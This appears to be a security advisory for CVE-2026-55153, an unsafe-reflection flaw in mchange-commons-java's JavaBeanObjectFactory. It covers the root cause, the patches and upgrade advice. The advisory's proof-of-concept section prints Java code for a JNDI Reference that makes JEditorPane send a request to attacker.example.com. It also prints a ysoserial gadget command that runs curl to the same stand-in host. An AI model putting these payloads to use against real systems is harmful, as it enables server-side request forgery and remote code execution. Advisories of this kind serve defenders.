CVE-2026-55153: mchange-commons-java Unsafe Reflection via JavaBeanObjectFactory
mchange-commons-java's JavaBeanObjectFactory will instantiate any class named in a JNDI Reference and set arbitrary JavaBean properties on it, letting an attacker trigger SSRF, deserialization gadget…

The problem
Versions before 0.6.0 of com.mchange:mchange-commons-java let JavaBeanObjectFactory construct objects of any class a JNDI Reference names, then set arbitrary JavaBean-style properties on them. No allowlist existed to restrict which classes could be materialized.
The companion ReferenceIndirector mechanism made this worse: an attacker could smuggle a malicious Reference inside a Java-serialized object. Any application that deserializes untrusted data and has mchange-commons-java on the classpath was therefore reachable.
Before v0.5.0, BinaryRefAddress elements inside a Reference were deserialized as Java objects, enabling classic gadget-chain attacks. With commons-beanutils and commons-collections on the classpath and a JVM older than Java 16, an attacker could execute arbitrary OS commands.
Proof of concept
A working proof-of-concept for CVE-2026-55153 in com.mchange:mchange-commons-java, with the exact payload below.
// Two distinct attack paths documented in the advisory.
// --- Path 1: SSRF/HTTP exfil via JEditorPane (no gadget library needed) ---
// Craft a JNDI Reference that names javax.swing.JEditorPane as the target class
// and passes two RefAddr entries as JavaBean property initializers.
// JavaBeanObjectFactory calls setContentType("text/html") then setText(html),
// which triggers an outbound HTTP GET to the attacker URL.
import javax.naming.Reference;
import javax.naming.StringRefAddr;
Reference ref = new Reference(
"javax.swing.JEditorPane", // className to instantiate
"com.mchange.v2.naming.JavaBeanObjectFactory",// factory
null
);
ref.add(new StringRefAddr("contentType", "text/html"));
ref.add(new StringRefAddr("text",
"<html><head>"
+ "<link rel='stylesheet' href='http://attacker.example.com/exfil'>"
+ "</head><body>x</body></html>"
));
// Bind this Reference in a rogue LDAP/RMI server.
// Any JNDI lookup against that server triggers the outbound GET.
// --- Path 2: RCE via deserialized BinaryRefAddress (pre-0.5.0, pre-Java 16) ---
// Generate a commons-beanutils+commons-collections gadget payload with ysoserial,
// wrap it as a BinaryRefAddress inside a Reference, and serve it from a rogue
// LDAP or RMI server. JavaBeanObjectFactory deserializes the BinaryRefAddress
// value, triggering the gadget chain on the victim JVM.
//
// ysoserial equivalent (illustrative):
// java -jar ysoserial.jar CommonsBeanutils1 'curl http://attacker.example.com/pwned' > gadget.ser
// Then embed gadget.ser bytes as a BinaryRefAddress("binaryRef", bytes) in the Reference.The root cause is CWE-470 (Use of Externally-Controlled Input to Select Classes or Code). JavaBeanObjectFactory.getObjectInstance() accepted the class name directly from the untrusted Reference and passed it to Class.forName(), then called arbitrary setter methods.
No class validation existed before 0.6.0.
The patch in 0.6.0 introduces an internal allowlist: JavaBeanObjectFactory now checks the requested class name against a set of permitted classes before instantiating anything, refusing all others. Separately, ReferenceIndirector is disabled by default so serialized References can no longer be smuggled in.
The 0.5.0 interim patch removed all support for deserializing Java objects from BinaryRefAddress entries, cutting off the gadget-chain path independently of the class allowlist.
The fix
Upgrade to com.mchange:mchange-commons-java >= 0.6.0. If you use c3p0, upgrade to c3p0 >= 0.14.0, which pulls in a patched mchange-commons-java transitively. On Java 16+ the gadget-chain RCE path is mitigated by JVM internals, but the SSRF/arbitrary-class path remains exploitable on all JVM versions without the library upgrade.
Serialization filters are a partial mitigating control but do not block attacks that only require class construction and property setting.
Reported by 4ra1n and unam4.
Related research
- critical · 9.8CVE-2026-62379CVE-2026-62379: OpenAM Unauthenticated Remote Code Execution via Unsafe Reflection in AuthXMLUtils
- highCVE-2026-53660CVE-2026-53660: OpenAM Insecure SSO Cookie Initialization (Missing HttpOnly and SameSite)
- high · 7.5CVE-2026-56819CVE-2026-56819: netty-codec-http2 HTTP/2 Decompression ByteBuf Reference-Count Leak (OOM DoS)
- high · 7.5CVE-2026-41695CVE-2026-41695: Spring Data Commons Unbounded Property-Path Cache DoS